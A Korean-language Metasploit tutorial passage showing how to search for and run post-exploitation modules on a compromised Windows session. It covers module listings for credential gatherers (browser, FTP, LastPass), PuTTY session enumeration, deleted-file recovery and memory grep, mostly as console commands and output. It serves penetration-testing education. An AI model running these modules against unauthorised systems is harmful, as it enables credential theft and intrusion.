[MAD-METASPLOIT] 0x33 - Using post module

Post module 찾기

HAHWUL exploit(easyfilesharing_post) > search type:post platform:windows

Matching Modules
================

Name Disclosure Date Rank Description
---- --------------- ---- -----------
post/multi/gather/apple_ios_backup normal Windows Gather Apple iOS MobileSync Backup File Collection
post/multi/gather/check_malware normal Multi Gather Malware Verifier
post/multi/gather/dbvis_enum normal Multi Gather DbVisualizer Connections Settings
post/multi/gather/dns_bruteforce normal Multi Gather DNS Forward Lookup Bruteforce
post/multi/gather/dns_reverse_lookup normal Multi Gather DNS Reverse Lookup Scan
post/multi/gather/dns_srv_lookup normal Multi Gather DNS Service Record Lookup Scan
post/multi/gather/enum_vbox normal Multi Gather VirtualBox VM Enumeration
post/multi/gather/env normal Multi Gather Generic Operating System Environment Settings
post/multi/gather/filezilla_client_cred normal Multi Gather FileZilla FTP Client Credential Collection
post/multi/gather/find_vmx normal Multi Gather VMWare VM Identification
post/multi/gather/firefox_creds normal Multi Gather Firefox Signon Credential Collection
post/multi/gather/jboss_gather normal Jboss Credential Collector
post/multi/gather/lastpass_creds normal LastPass Vault Decryptor
post/multi/gather/multi_command normal Multi Gather Run Shell Command Resource File
post/multi/gather/pgpass_creds normal Multi Gather pgpass Credentials
post/multi/gather/pidgin_cred normal Multi Gather Pidgin Instant Messenger Credential Collection
post/multi/gather/ping_sweep normal Multi Gather Ping Sweep
post/multi/gather/resolve_hosts normal Multi Gather Resolve Hosts
post/multi/gather/run_console_rc_file normal Multi Gather Run Console Resource File
post/multi/gather/skype_enum normal Multi Gather Skype User Data Enumeration
post/multi/gather/thunderbird_creds
...snip...

putty sessions 찾기

post/windows/gather/enum_putty_saved_sessions

HAHWUL exploit(easyfilesharing_post) > use post/windows/gather/enum_putty_saved_sessions
HAHWUL post(enum_putty_saved_sessions) > show options

Module options (post/windows/gather/enum_putty_saved_sessions):

Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.

HAHWUL post(enum_putty_saved_sessions) > run
[-] Post failed: Msf::OptionValidateError The following options failed to validate: SESSION.
HAHWUL post(enum_putty_saved_sessions) > set SESSION 2
SESSION => 2
HAHWUL post(enum_putty_saved_sessions) > run

[*] Looking for saved PuTTY sessions
[-] No saved sessions found

[*] Looking for previously stored SSH host key fingerprints
[-] No stored SSH host keys found

[*] Looking for Pageant...
[+] Pageant is running (Handle 0x0)
[*] Post module execution completed

post/windows/gather/forensics/browser_history normal Windows Gather Skype, Firefox, and Chrome Artifacts
post/windows/gather/forensics/duqu_check normal Windows Gather Forensics Duqu Registry Check
post/windows/gather/forensics/enum_drives normal Windows Gather Physical Drives and Logical Volumes
post/windows/gather/forensics/imager normal Windows Gather Forensic Imaging
post/windows/gather/forensics/nbd_server normal Windows Gather Local NBD Server
post/windows/gather/forensics/recovery_files normal Windows Gather Deleted Files Enumeration and Recovering

파일 복구 관련 Module

HAHWUL post(driver_loader) > use post/windows/gather/forensics/recovery_files
HAHWUL post(recovery_files) > show options

Module options (post/windows/gather/forensics/recovery_files):

Name Current Setting Required Description
---- --------------- -------- -----------
DRIVE C: yes Drive you want to recover files from.
FILES no ID or extensions of the files to recover in a comma separated way. Let empty to enumerate deleted files.
SESSION yes The session to run this module on.
TIMEOUT 3600 yes Search timeout. If 0 the module will go through the entire $MFT.

HAHWUL post(recovery_files) > set SESSION 2
SESSION => 2
HAHWUL post(recovery_files) > run

[*] System Info - OS: Windows 7 (Build 7601, Service Pack 1)., Drive: C:
[*] $MFT is made up of 1 dataruns
[*] Searching deleted files in data run 1 ...

Memory grep

post/windows/gather/memory_grep

HAHWUL post(recovery_files) > use post/windows/gather/memory_grep
HAHWUL post(memory_grep) > show options

Module options (post/windows/gather/memory_grep):

Name Current Setting Required Description
---- --------------- -------- -----------
HEAP false no Grep from heap
PROCESS yes Name of the process to dump memory from
REGEX yes Regular expression to search for with in memory
SESSION yes The session to run this module on.